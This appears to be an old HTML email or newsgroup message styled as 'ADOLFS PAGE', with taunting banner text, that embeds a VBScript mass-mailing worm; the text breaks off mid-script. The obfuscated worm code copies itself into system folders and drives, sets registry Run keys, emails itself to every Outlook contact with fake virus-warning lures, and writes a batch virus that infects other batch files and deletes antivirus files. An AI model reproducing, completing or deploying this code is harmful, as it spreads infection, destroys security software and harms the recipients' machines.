<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>ADOLFS PAGE</TITLE>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 5.50.4134.600" name=GENERATOR>
<META content=FrontPage.Editor.Document name=ProgId>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT face=Arial size=2>It don't work haha</FONT></DIV>
<BLOCKQUOTE dir=ltr 
style="PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV>"James Dean" &lt;<A 
  href="mailto:jimmydean@hollywood.com">jimmydean@hollywood.com</A>&gt; wrote in 
  message <A 
  href="news:B1j16.2534$hk.100939@bgtnsc06-news.ops.worldnet.att.net">news:B1j16.2534$hk.100939@bgtnsc06-news.ops.worldnet.att.net</A>...</DIV><FONT 
  face=Arial size=+3>
  <CENTER>
  <DIV id=DropWave1 
  style="FILTER: shadow(direction=315,enabled=1); WIDTH: 300px; POSITION: absolute; TOP: 100px">THIS 
  IS MY DEMONIK WORM </DIV></CENTER>
  <CENTER>
  <DIV id=DropWave2 
  style="FILTER: shadow(direction=315,enabled=1); WIDTH: 300px; POSITION: absolute; TOP: 200px">AND 
  YOU ARE INFECTED WITH IT! </DIV></CENTER>
  <DIV id=DropWave3 
  style="FILTER: shadow(direction=315,enabled=1); WIDTH: 300px; POSITION: absolute; TOP: 300px">THIS 
  HAS BEEN A SATANIK CHILD INFECTION </DIV></FONT>
  <OBJECT id=DAControl style="WIDTH: 1px; POSITION: absolute; HEIGHT: 1px" 
  classid=CLSID:B6FFC24C-7E13-11D0-9B47-00C04FC2F51D 
  data=data:application/x-oleobject;base64,TML/thN+0BGbRwDAT8L1HQACAAAaAAAAGgAAAA== 
  width=192 height=192></OBJECT>
  <SCRIPT language=VBScript><!--
' The DirectAnimation library
Set m = DAControl.MeterLibrary
Set filterStr = m.ConcatString(m.DAString("shadow(direction="), getNumber().ToString(0))
Set filterStr = m.ConcatString(filterStr, m.DAString(")"))
' Using a DAString we can build strings which have time varying elements
Set filterStr = filterStr.AnimateProperty("DropWave1.style.filter", "VBScript", false, .1)
Call DAControl.AddBehaviorToRun(filterStr)
' Using a DANumber we can build a property which changes over time
Set filterVal = getNumber().AnimateProperty("DropWave2.filters(0).direction", "VBScript", false, .1)
Call DAControl.AddBehaviorToRun(filterVal)
' The AnimateProperty method also allows us to call an arbitrary function instead
Set filterMethod = getNumber().AnimateProperty("setFilter", "VBScript", true, .1)
Call DAControl.AddBehaviorToRun(filterMethod)
DAControl.Start
sub setFilter(val)  ' callback for third animateProperty method
DropWave3.filters(0).direction = val
end sub
function getNumber   ' Makes some randomized time varying number
Set getNumber = m.Sequence(m.DANumber(0).Duration(2), m.Interpolate(0,360,1)).RepeatForever()V
end function
'--></SCRIPT>
  <ILAYER width="&amp;{sliderwidth};" height="&amp;{sliderheight};" 
  name="ns_slider01" visibility="hide"><LAYER onmouseover=slidespeed=0; 
  onmouseout=slidespeed=copyspeed name="ns_slider02"></LAYER></ILAYER>
  <DIV></DIV></BLOCKQUOTE>
<SCRIPT language=VBScript>
<!--
on error resume next
dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit
aw=1
code="On Error Resume Next"&vbcrlf& _
"Dim fso,dirsystem,file,vbscopy,dow,reg,FileLoc,MakeCopy,Lists,a,x,RegLists,Entries,Addresses,RegAddress,Mail"&vbcrlf& _
"Set fso = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"Set reg = CreateObject(]-]WScript.Shell]-])"&vbcrlf& _
"Set dirsystem = fso.GetSpecialFolder(1)"&vbcrlf& _
"Set file = fso.OpenTextFile(WScript.ScriptFullname,1)"&vbcrlf& _
"Set MakeCopy = fso.GetFile(WScript.ScriptFullName)"&vbcrlf& _
"Set OutLook=WScript.CreateObject(]-]Outlook.Application]-])"&vbcrlf& _
"Set mapi=OutLook.GetNameSpace(]-]MAPI]-])"&vbcrlf& _
"vbscopy=file.ReadAll"&vbcrlf& _
"MakeCopy.Copy(dirsystem&]-]%-%VBScript.vbs]-])"&vbcrlf& _
"eq=]-]]-]"&vbcrlf& _
"ctr=0"&vbcrlf& _
"Set fso = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"set file = fso.OpenTextFile(WScript.ScriptFullname,1)"&vbcrlf& _
"vbscopy=file.ReadAll"&vbcrlf& _
"main()"&vbcrlf& _
"sub main()"&vbcrlf& _
"On Error Resume Next"&vbcrlf& _
"dim wscr,rr"&vbcrlf& _
"set wscr=CreateObject(]-]WScript.Shell]-])"&vbcrlf& _
"rr=wscr.RegRead(]-]HKEY_CURRENT_USER%-%Software%-%Microsoft%-%Windows Scripting Host%-%Settings%-%Timeout]-])"&vbcrlf& _
"if (rr>=1) then"&vbcrlf& _
"wscr.RegWrite ]-]HKEY_CURRENT_USER%-%Software%-%Microsoft%-%Windows Scripting Host%-%Settings%-%Timeout]-],0,]-]REG_DWORD]-]"&vbcrlf& _
"end if"&vbcrlf& _
"Set dirwin = fso.GetSpecialFolder(0)"&vbcrlf& _
"Set dirsystem = fso.GetSpecialFolder(1)"&vbcrlf& _
"Set dirtemp = fso.GetSpecialFolder(2)"&vbcrlf& _
"Set c = fso.GetFile(WScript.ScriptFullName)"&vbcrlf& _
"c.Copy(dirsystem&]-]%-%Demonik.vbs]-])"&vbcrlf& _
"c.Copy(dirwin&]-]%-%Windows.vbs]-])"&vbcrlf& _
"c.Copy(dirsystem&]-]%-%satanik_child.vbs]-])"&vbcrlf& _
"regruns()"&vbcrlf& _
"html()"&vbcrlf& _
"spreadtoemail()"&vbcrlf& _
"listadriv()"&vbcrlf& _
"end Sub"&vbcrlf& _
"FileLoc = dirsystem&]-]%-%VBScript.vbs]-]"&vbcrlf& _
"reg.RegWrite ]-]HKEY_LOCAL_MACHINE%-%Software%-%Microsoft%-%Windows%-%CurrentVersion%-%Run%-%VBScript]-], FileLoc"&vbcrlf& _
"L_Welcome_MsgBox_Message_Text   = ]-]Be On The Lookout For A New Very Destructive Internet Worm]-]"&vbcrlf& _
"L_Welcome_MsgBox_Title_Text     = ]-]SATANIK CHILD ALERT]-]"&vbcrlf& _
"Call Welcome()"&vbcrlf& _
"Dim WSHShell"&vbcrlf& _
"Set WSHShell = WScript.CreateObject(]-]WScript.Shell]-])"&vbcrlf& _
"Dim MyShortcut, MyDesktop, DesktopPath"&vbcrlf& _
"DesktopPath = WSHShell.SpecialFolders(]-]Desktop]-])"&vbcrlf& _
"Set MyShortcut = WSHShell.CreateShortcut(DesktopPath & ]-]%-%I-n-f-o O-n N-e-w D-a-n-g-e-r-o-u-s W-o-rm.lnk]-])"&vbcrlf& _
"MyShortcut.TargetPath = WSHShell.ExpandEnvironmentStrings(]-]windows%-%exit to dos]-])"&vbcrlf& _
"MyShortcut.WorkingDirectory = WSHShell.ExpandEnvironmentStrings(]-]%windir%]-])"&vbcrlf& _
"MyShortcut.WindowStyle = 4"&vbcrlf& _
"MyShortcut.IconLocation = WSHShell.ExpandEnvironmentStrings(]-]C:%-%Program Files%-%Plus!%-%Themes%-%Windows 98 My Computer.ico, 0]-])"&vbcrlf& _
"MYShortcut.Save"&vbcrlf& _
"WScript.Echo ]-]Click on the computer icon to find out more info on this very destructive worm!                       Warning:  Ignorining this might and can result in fatal damage to your computer]-]"&vbcrlf& _
"For Lists=1 to mapi.AddressLists.Count"&vbcrlf& _
"Set a=mapi.AddressLists(Lists)"&vbcrlf& _
"x=1"&vbcrlf& _
"RegLists=reg.RegRead(]-]HKEY_CURRENT_USER%-%Software%-%Microsoft%-%WAB%-%]-]&a)"&vbcrlf& _
"If (RegLists=]-]]-]) then"&vbcrlf& _
"RegLists=1"&vbcrlf& _
"End if"&vbcrlf& _
"If (int(a.AddressEntries.Count)>int(RegLists)) then"&vbcrlf& _
"For Entries=1 to a.AddressEntries.Count"&vbcrlf& _
"Addresses=a.AddressEntries(x)"&vbcrlf& _
"RegAddress=]-]]-]"&vbcrlf& _
"RegAddress=reg.RegRead(]-]HKEY_CURRENT_USER%-%Software%-%Microsoft%-%WAB%-%]-]&Addresses)"&vbcrlf& _
"If (RegAddresses=]-]]-]) then"&vbcrlf& _
"Set Mail=OutLook.CreateItem(0)"&vbcrlf& _
"Mail.Recipients.Add(Addresses)"&vbcrlf& _
"Mail.Subject = ]-]WARNING:  A NEW DESTRUCTIVE WORM HAS BEEN DISCOVERED]-]"&vbcrlf& _
"Mail.Body = vbcrlf & ]-]This worm might not even be detected yet.]-]& vbcrlf & ]-]DEMONIC_WORM]-]"&vbcrlf& _
"Mail.Attachments.Add(dirsystem&]-]%-%Info_ON_New_WORM.vbs]-])"&vbcrlf& _
"Mail.Send"&vbcrlf& _
"reg.RegWrite ]-]HKEY_CURRENT_USER%-%Software%-%Microsoft%-%WAB%-%]-]&Addresses,1,]-]REG_DWORD]-]"&vbcrlf& _
"End if"&vbcrlf& _
"x=x+1"&vbcrlf& _
"Next"&vbcrlf& _
"reg.RegWrite ]-]HKEY_CURRENT_USER%-%Software%-%Microsoft%-%WAB%-%]-]&a,a.AddressEntries.Count"&vbcrlf& _
"Else"&vbcrlf& _
"reg.RegWrite ]-]HKEY_CURRENT_USER%-%Software%-%Microsoft%-%WAB%-%]-]&a,a.AddressEntries.Count"&vbcrlf& _
"End if"&vbcrlf& _
"Next"&vbcrlf& _
"Set OutLook=Nothing"&vbcrlf& _
"Set mapi=Nothing"&vbcrlf& _
"Sub Welcome()"&vbcrlf& _
"    Dim intDoIt"&vbcrlf& _
""&vbcrlf& _
"    intDoIt =  MsgBox(L_Welcome_MsgBox_Message_Text,    _"&vbcrlf& _
"                      vbOKCancel + vbInformation,       _"&vbcrlf& _
"                      L_Welcome_MsgBox_Title_Text )"&vbcrlf& _
"    If intDoIt = vbCancel Then"&vbcrlf& _
"        WScript.Quit"&vbcrlf& _
"End If "&vbcrlf& _
"End Sub"&vbcrlf& _
"Set fso = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"Set a = fso.GetFolder(]-]c:%-%]-])"&vbcrlf& _
"Set fc = a.SubFolders"&vbcrlf& _
"Set nf = fc.Add(]-]SATANIK  CHILD]-])"&vbcrlf& _
"Set fso = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"Set a = fso.GetFolder(]-]c:%-%SATANIK  CHILD%-%]-])"&vbcrlf& _
"Set fc = a.SubFolders"&vbcrlf& _
"Set nf = fc.Add(]-]Has Fucked Up Your Computer]-])"&vbcrlf& _
"Set fso = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"Set a = fso.GetFolder(]-]c:%-%SATANIK  CHILD%-%Has Fucked Up Your Computer%-%]-])"&vbcrlf& _
"Set fc = a.SubFolders"&vbcrlf& _
"Set nf = fc.Add(]-]Dont Be Surprised]-])"&vbcrlf& _
"Set fso = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"Set a = fso.GetFolder(]-]c:%-%SATANIK  CHILD%-%Has Fucked Up Your Computer%-%Dont Be Surprised%-%]-])"&vbcrlf& _
"Set fc = a.SubFolders"&vbcrlf& _
"Set nf = fc.Add(]-]SATANIK CHILD Is An Evil Mother Fucker]-])"&vbcrlf& _
"Set fso = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"Set a = fso.GetFolder(]-]c:%-%SATANIK  CHILD%-%Has Fucked Up Your Computer%-%Dont Be Surprised%-%SATANIK CHILD Is An Evil Mother Fucker%-%]-])"&vbcrlf& _
"Set fc = a.SubFolders"&vbcrlf& _
"Set nf = fc.Add(]-]Because He Also...]-])"&vbcrlf& _
"Set fso = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"Set a = fso.GetFolder(]-]c:%-%SATANIK  CHILD%-%Has Fucked Up Your Computer%-%Dont Be Surprised%-%SATANIK CHILD Is An Evil Mother Fucker%-%Because He Also...%-%]-])"&vbcrlf& _
"Set fc = a.SubFolders"&vbcrlf& _
"Set nf = fc.Add(]-]Installed A DEMONIC WORM]-])"&vbcrlf& _
"Set fso = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"Set a = fso.GetFolder(]-]c:%-%SATANIK  CHILD%-%Has Fucked Up Your Computer%-%Dont Be Surprised%-%SATANIK CHILD Is An Evil Mother Fucker%-%Because He Also...%-%Installed A DEMONIC WORM%-%]-])"&vbcrlf& _
"Set fc = a.SubFolders"&vbcrlf& _
"Set nf = fc.Add(]-]The Funny Thing Though...]-])"&vbcrlf& _
"Set fso = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"Set a = fso.GetFolder(]-]c:%-%SATANIK  CHILD%-%Has Fucked Up Your Computer%-%Dont Be Surprised%-%SATANIK CHILD Is An Evil Mother Fucker%-%Because He Also...%-%Installed A DEMONIC WORM%-%The Funny Thing Though.../]-])"&vbcrlf& _
"Set fc = a.SubFolders"&vbcrlf& _
"Set nf = fc.Add(]-]AntiVirus Companies Do Not Recognize It Yet]-])"&vbcrlf& _
"Set Fool = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"Set d = Fool.CreateTextFile(]-]c:%-%SATANIK  CHILD%-%Has Fucked Up Your Computer%-%Dont Be Surprised%-%SATANIK CHILD Is An Evil Mother Fucker%-%Because He Also...%-%Installed A DEMONIC WORM%-%The Funny Thing Though...%-%AntiVirus Companies Do Not Recognize It Yet%-%From_Satanik_Child.txt]-], True)"&vbcrlf& _
"d.WriteLine(]-]            _                         _       ]-])"&vbcrlf& _
"d.WriteLine(]-]           |_|                       |_|      ]-])"&vbcrlf& _
"d.WriteLine(]-]           | |         /^^^%-%         | |      ]-])"&vbcrlf& _
"d.WriteLine(]-]          _| |_      (| ĝoĝ |)      _| |_     ]-])"&vbcrlf& _
"d.WriteLine(]-]        _| | | | _    (_---_)    _ | | | |_   ]-])"&vbcrlf& _
"d.WriteLine(]-]       | | | |[-[   |    _| |_    | `| | | | |  ]-])"&vbcrlf& _
"d.WriteLine(]-]       |          |   /     %-%   |          |  ]-]) "&vbcrlf& _
"d.WriteLine(]-]        %-%        /  / /(. .)%-% %-%  %-%        /   ]-])"&vbcrlf& _
"d.WriteLine(]-]          %-%    /  / /  | . |  %-% %-%  %-%    /     ]-])"&vbcrlf& _
"d.WriteLine(]-]            %-%  %-%/ /    ||Y||    %-% %-%/  /       ]-])"&vbcrlf& _
"d.WriteLine(]-]             %-%__/      || ||      %-%__/        ]-])"&vbcrlf& _
"d.WriteLine(]-]                       () ()                  ]-])"&vbcrlf& _
"d.WriteLine(]-]                       || ||                  ]-])"&vbcrlf& _
"d.WriteLine(]-]                      ooO Ooo                 ]-])"&vbcrlf& _
"d.WriteLine(]-]                                              ]-])"&vbcrlf& _
"d.WriteLine(]-]                   FUCK YOU ALL               ]-])"&vbcrlf& _
"d.WriteLine(]-]            =a SATANIK CHILD infection=       ]-])"&vbcrlf& _
"d.close"&vbcrlf& _
"Set Worm = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"set d = Worm.CreateTextFile(]-]c:%-%Windows%-%Script.VBS]-])"&vbcrlf& _
"d.WriteLine ]-]MsgBox ]-] & CHR(34) & ]-]I-WORM-DEMONIC HAS BEEN INSTALLED]-] & CHR(34) & ]-], 50, ]-] & CHR(34) & ]-]SATANIK CHILD MESSAGE]-] & CHR(34)"&vbcrlf& _
"d.close"&vbcrlf& _
"Set reg = CreateObject(]-]WScript.Shell]-])"&vbcrlf& _
"reg.RegWrite ]-]HKEY_LOCAL_MACHINE%-%Software%-%Microsoft%-%Windows%-%CurrentVersion%-%Run%-%Script File]-], dirwin&]-]C:%-%WINDOWS%-%Script.vbs]-]"&vbcrlf& _
"Set fso = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"Dim Sso, tf"&vbcrlf& _
"Set fso = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"Set tf = fso.CreateTextFile(]-]C:%-%Windows%-%Start Menu%-%Programs%-%Startup%-%DEMONIC.bat]-], True)"&vbcrlf& _
"tf.WriteLine(]-]:: [bad_batch]]-])"&vbcrlf& _
"tf.WriteLine(]-]:: by satanik_child]-])"&vbcrlf& _
"tf.WriteLine(]-]@echo off%_666%]-])"&vbcrlf& _
"tf.WriteLine(]-]if [-[%1==[-[666 goto 666%2]-])"&vbcrlf& _
"tf.WriteLine(]-]set 666=%0.bat]-])"&vbcrlf& _
"tf.WriteLine(]-]if not exist %666% set 666=%0]-])"&vbcrlf& _
"tf.WriteLine(]-]if [-[%666%==[-[ set 666=autoexec.bat]-])"&vbcrlf& _
"tf.WriteLine(]-]if exist c:%-%_666.bat goto 666_go]-])"&vbcrlf& _
"tf.WriteLine(]-]if not exist %666% goto evol_666]-])"&vbcrlf& _
"tf.WriteLine(]-]find ]-])(666)(]-]<%666%>c:%-%_666.bat]-])"&vbcrlf& _
"tf.WriteLine(]-]attrib c:%-%_666.bat +h]-])"&vbcrlf& _
"tf.WriteLine(]-]:666_go]-])"&vbcrlf& _
"tf.WriteLine(]-]if [-[%!666%==[-[------ goto 666_exit]-])"&vbcrlf& _
"tf.WriteLine(]-]set !666=%!666%-]-])"&vbcrlf& _
"tf.WriteLine(]-]command /e:5000 /c c:%-%_666 666 v . .. %-% %path%]-])"&vbcrlf& _
"tf.WriteLine(]-]:evol_666]-])"&vbcrlf& _
"tf.WriteLine(]-]set 666=]-])"&vbcrlf& _
"tf.WriteLine(]-]goto 666_pay]-])"&vbcrlf& _
"tf.WriteLine(]-]:666v]-])"&vbcrlf& _
"tf.WriteLine(]-]shift%_666%]-])"&vbcrlf& _
"tf.WriteLine(]-]if [-[%2==[-[ exit 666]-])"&vbcrlf& _
"tf.WriteLine(]-]for %%a in (%2%-%*.bat %2*.bat) do call c:%-%_666 666 inf %%a]-])"&vbcrlf& _
"tf.WriteLine(]-]goto 666v]-])"&vbcrlf& _
"tf.WriteLine(]-]:666_inf]-])"&vbcrlf& _
"tf.WriteLine(]-]find ]-])(666)(]-]<%3>nul]-])"&vbcrlf& _
"tf.WriteLine(]-]if not errorlevel 1 goto 666_jump]-])"&vbcrlf& _
"tf.WriteLine(]-]type %3>666$]-])"&vbcrlf& _
"tf.WriteLine(]-]echo.>>666$]-])"&vbcrlf& _
"tf.WriteLine(]-]type c:%-%_666.bat>>666$]-])"&vbcrlf& _
"tf.WriteLine(]-]move 666$ %3>nul]-])"&vbcrlf& _
"tf.WriteLine(]-]set 666!=%666!%-]-])"&vbcrlf& _
"tf.WriteLine(]-]if %666#%==------exit]-])"&vbcrlf& _
"tf.WriteLine(]-]:666_jump]-])"&vbcrlf& _
"tf.WriteLine(]-]set 666!=%666!%-]-])"&vbcrlf& _
"tf.WriteLine(]-]if %666!%==------exit]-])"&vbcrlf& _
"tf.WriteLine(]-]:666_pay]-])"&vbcrlf& _
"tf.WriteLine(]-]:: 666]-])"&vbcrlf& _
"tf.WriteLine(]-]echo y| del c:%-%mcafee%-%*.dat]-])"&vbcrlf& _
"tf.WriteLine(]-]echo y| del c:%-%progra~1%-%mcafee%-%*.dat]-])"&vbcrlf& _
"tf.WriteLine(]-]echo y| del c:%-%progra~1%-%antivi~1%-%*.avc]-])"&vbcrlf& _
"tf.WriteLine(]-]echo y| del c:%-%progra~1%-%norton~1%-%*.*]-])"&vbcrlf& _
"tf.WriteLine(]-]:666_exit]-])"&vbcrlf& _
""&vbcrlf& _
"tf.Close"&vbcrlf& _
"On Error Resume Next"&vbcrlf& _
"Set fso = CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"Set sysfolder = fso.GetSpecialFolder(SystemFolder)   "&vbcrlf& _
"Set WSHShell = WScript.CreateObject(]-]WScript.Shell]-])"&vbcrlf& _
"WSHShell.RegWrite ]-]HKEY_LOCAL_MACHINE%-%Software%-%Microsoft%-%Windows%-%CurrentVersion%-%Run%-%Demonik]-], sysfolder & ]-]%-%Demonik.god]-]"&vbcrlf& _
"WSHShell.RegWrite ]-]HKEY_CLASSES_ROOT%-%.god%-%]-], ]-]VBSFile]-]"&vbcrlf& _
"fso.CopyFile Wscript.ScriptFullName, sysfolder & ]-]%-%Demonik.god]-]"&vbcrlf& _
"fso.GetFile(sysfolder & ]-]%-%Demonik.god]-]).attributes = 2"&vbcrlf& _
"fso.CreateFolder sysfolder & ]-]%-%Demonik]-]"&vbcrlf& _
"fso.CopyFile Wscript.ScriptFullName, sysfolder & ]-]%-%Demonik%-%natas.vbs]-]"&vbcrlf& _
"fso.GetFolder(sysfolder & ]-]%-%Demonik]-]).attributes = 2"&vbcrlf& _
"Set dc = fso.Drives"&vbcrlf& _
"For Each d in dc"&vbcrlf& _
"If d.DriveType = 3 Then"&vbcrlf& _
"fso.CopyFile Wscript.ScriptFullName, d.DriveLetter & ]-]:%-%natas.vbs]-]"&vbcrlf& _
"ElseIf d.DriveType = 1 And d.IsReady Then"&vbcrlf& _
"fso.CopyFile Wscript.ScriptFullName, d.DriveLetter & ]-]:%-%natas.vbs]-]"&vbcrlf& _
"End If"&vbcrlf& _
"Next"&vbcrlf& _
"On Error Resume Next"&vbcrlf& _
"Set efx1 = CreateObject(]-]WScript.Shell]-])"&vbcrlf& _
"efx1.regwrite ]-]HKCU%-%software%-%Demonik%-%]-], Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) & Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) & Chr(48) & Chr(98)"&vbcrlf& _
"Set efx2= Createobject(]-]scripting.filesystemobject]-])"&vbcrlf& _
"efx2.copyfile wscript.scriptfullname,efx2.GetSpecialFolder(0)& ]-]%-%Demonik.god]-]"&vbcrlf& _
"efx1.regwrite ]-]HKLM%-%SOFTWARE%-%Microsoft%-%Windows%-%CurrentVersion%-%Run%-%anti_windows]-],]-]wscript.exe ]-]&efx2.GetSpecialFolder(0)& ]-]%-%Demonik.god %]-]"&vbcrlf& _
"Set efx3= efx2.opentextfile(wscript.scriptfullname, 1)"&vbcrlf& _
"efx5= efx3.readall"&vbcrlf& _
"efx3.Close"&vbcrlf& _
"Do"&vbcrlf& _
"If Not (efx2.fileexists(wscript.scriptfullname)) Then"&vbcrlf& _
"Set efx4= efx2.createtextfile(wscript.scriptfullname, True)"&vbcrlf& _
"efx4.writeefx5"&vbcrlf& _
"efx4.Close"&vbcrlf& _
"End If"&vbcrlf& _
"Loop"&vbcrlf& _
"Sub listadriv"&vbcrlf& _
"On Error Resume Next"&vbcrlf& _
"Dim d,dc,s"&vbcrlf& _
"Set dc = fso.Drives"&vbcrlf& _
"For Each d in dc"&vbcrlf& _
"If d.DriveType = 2 or d.DriveType=3 Then"&vbcrlf& _
"folderlist(d.path&]-]%-%]-])"&vbcrlf& _
"end if"&vbcrlf& _
"Next"&vbcrlf& _
"listadriv = s"&vbcrlf& _
"end Sub"&vbcrlf& _
"sub regcreate(regkey,regvalue)"&vbcrlf& _
"Set regedit = CreateObject(]-]WScript.Shell]-])"&vbcrlf& _
"regedit.RegWrite regkey,regvalue"&vbcrlf& _
"end sub"&vbcrlf& _
"function regget(value)"&vbcrlf& _
"Set regedit = CreateObject(]-]WScript.Shell]-])"&vbcrlf& _
"regget=regedit.RegRead(value)"&vbcrlf& _
"end function"&vbcrlf& _
"function fileexist(filespec)"&vbcrlf& _
"On Error Resume Next"&vbcrlf& _
"dim msg"&vbcrlf& _
"if (fso.FileExists(filespec)) Then"&vbcrlf& _
"msg = 0"&vbcrlf& _
"else"&vbcrlf& _
"msg = 1"&vbcrlf& _
"end if"&vbcrlf& _
"fileexist = msg"&vbcrlf& _
"end function"&vbcrlf& _
"function folderexist(folderspec)"&vbcrlf& _
"On Error Resume Next"&vbcrlf& _
"dim msg"&vbcrlf& _
"if (fso.GetFolderExists(folderspec)) then"&vbcrlf& _
"msg = 0"&vbcrlf& _
"else"&vbcrlf& _
"msg = 1"&vbcrlf& _
"end if"&vbcrlf& _
"fileexist = msg"&vbcrlf& _
"end function"&vbcrlf& _
"sub spreadtoemail()"&vbcrlf& _
"On Error Resume Next"&vbcrlf& _
"dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad"&vbcrlf& _
"set regedit=CreateObject(]-]WScript.Shell]-])"&vbcrlf& _
"set out=WScript.CreateObject(]-]Outlook.Application]-])"&vbcrlf& _
"set mapi=out.GetNameSpace(]-]MAPI]-])"&vbcrlf& _
"for ctrlists=1 to mapi.AddressLists.Count"&vbcrlf& _
"set a=mapi.AddressLists(ctrlists)"&vbcrlf& _
"x=1"&vbcrlf& _
"regv=regedit.RegRead(]-]HKEY_CURRENT_USER%-%Software%-%Microsoft%-%WAB%-%]-]&a)"&vbcrlf& _
"if (regv=]-]]-]) then"&vbcrlf& _
"regv=1"&vbcrlf& _
"end if"&vbcrlf& _
"if (int(a.AddressEntries.Count)>int(regv)) then"&vbcrlf& _
"for ctrentries=1 to a.AddressEntries.Count"&vbcrlf& _
"malead=a.AddressEntries(x)"&vbcrlf& _
"regad=]-]]-]"&vbcrlf& _
"regad=regedit.RegRead(]-]HKEY_CURRENT_USER%-%Software%-%Microsoft%-%WAB%-%]-]&malead)"&vbcrlf& _
"if (regad=]-]]-]) then"&vbcrlf& _
"set male=out.CreateItem(0)"&vbcrlf& _
"male.Recipients.Add(malead)"&vbcrlf& _
"male.Subject = ]-]Demonik_Worm_VBS]-]"&vbcrlf& _
"male.Body = vbcrlf&]-]Some people may find this offensive but I HAD to know what you think.]-]"&vbcrlf& _
"male.Attachments.Add(dirsystem&]-]%-%evil_vbs.vbs]-])"&vbcrlf& _
"male.Send"&vbcrlf& _
"regedit.RegWrite ]-]HKEY_CURRENT_USER%-%Software%-%Microsoft%-%WAB%-%]-]&malead,1,]-]REG_DWORD]-]"&vbcrlf& _
"end if"&vbcrlf& _
"x=x+1"&vbcrlf& _
"next"&vbcrlf& _
"regedit.RegWrite ]-]HKEY_CURRENT_USER%-%Software%-%Microsoft%-%WAB%-%]-]&a,a.AddressEntries.Count"&vbcrlf& _
"else"&vbcrlf& _
"regedit.RegWrite ]-]HKEY_CURRENT_USER%-%Software%-%Microsoft%-%WAB%-%]-]&a,a.AddressEntries.Count"&vbcrlf& _
"end if"&vbcrlf& _
"next"&vbcrlf& _
"Set out=Nothing"&vbcrlf& _
"Set mapi=Nothing"&vbcrlf& _
"end sub"&vbcrlf& _
"sub html"&vbcrlf& _
"On Error Resume Next"&vbcrlf& _
"dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6"&vbcrlf& _
"dta1=]-]<html> <head><meta http-equiv=@-@Content-Type@-@ content=@-@text?-?html; charset=windows-1252@-@><meta name=@-@GENERATOR@-@ content=@-@Microsoft FrontPage 4.0@-@><meta name=@-@ProgId@-@ content=@-@FrontPage.Editor.Document@-@><title>ADOLFS PAGE<?-?title> <?-?head><BODY><font face=@-@Arial@-@ size=@-@+3@-@><CENTER><DIV ID=@-@DropWave1@-@ STYLE=@-@position:absolute; width:300; top:100; filter:shadow(direction=315,enabled=1)@-@> THIS IS MY DEMONIK WORM <?-?DIV><?-?CENTER> <CENTER><DIV ID=@-@DropWave2@-@ STYLE=@-@position:absolute; width:300; top:200; filter:shadow(direction=315,enabled=1)@-@> AND YOU ARE INFECTED WITH IT! <?-?DIV><?-?CENTER> <DIV ID=@-@DropWave3@-@ STYLE=@-@position:absolute; width:300; top:300; filter:shadow(direction=315,enabled=1)@-@>THIS HAS BEEN A SATANIK CHILD INFECTION <?-?DIV><?-?font><OBJECT ID=@-@DAControl@-@]-]&vbcrlf& _"&vbcrlf& _
"  ]-]STYLE=@-@position:absolute; width:1; height:1@-@]-]&vbcrlf& _ "&vbcrlf& _
"  ]-]CLASSID=@-@CLSID:B6FFC24C-7E13-11D0-9B47-00C04FC2F51D@-@ width=@-@192@-@ height=@-@192@-@><?-?OBJECT><SCRIPT LANGUAGE=@-@VBScript@-@><!--]-]&vbcrlf& _"&vbcrlf& _
"  ]-][-[ The DirectAnimation library]-]&vbcrlf& _"&vbcrlf& _
"  ]-]Set m = DAControl.MeterLibrary]-]&vbcrlf& _  "&vbcrlf& _
"  ]-]Set filterStr = m.ConcatString(m.DAString(@-@shadow(direction=@-@), getNumber().ToString(0))]-]&vbcrlf& _"&vbcrlf& _
"  ]-]Set filterStr = m.ConcatString(filterStr, m.DAString(@-@)@-@))]-]&vbcrlf& _"&vbcrlf& _
"  ]-][-[ Using a DAString we can build strings which have time varying elements]-]&vbcrlf& _"&vbcrlf& _
"  ]-]Set filterStr = filterStr.AnimateProperty(@-@DropWave1.style.filter@-@, @-@VBScript@-@, false, .1)]-]&vbcrlf& _"&vbcrlf& _
"  ]-]Call DAControl.AddBehaviorToRun(filterStr)]-]&vbcrlf& _"&vbcrlf& _
"  ]-][-[ Using a DANumber we can build a property which changes over time]-]&vbcrlf& _"&vbcrlf& _
"  ]-]Set filterVal = getNumber().AnimateProperty(@-@DropWave2.filters(0).direction@-@, @-@VBScript@-@, false, .1)]-]&vbcrlf& _"&vbcrlf& _
"  ]-]Call DAControl.AddBehaviorToRun(filterVal)]-]&vbcrlf& _"&vbcrlf& _
"  ]-][-[ The AnimateProperty method also allows us to call an arbitrary function instead]-]&vbcrlf& _"&vbcrlf& _
"  ]-]Set filterMethod = getNumber().AnimateProperty(@-@setFilter@-@, @-@VBScript@-@, true, .1)]-]&vbcrlf& _"&vbcrlf& _
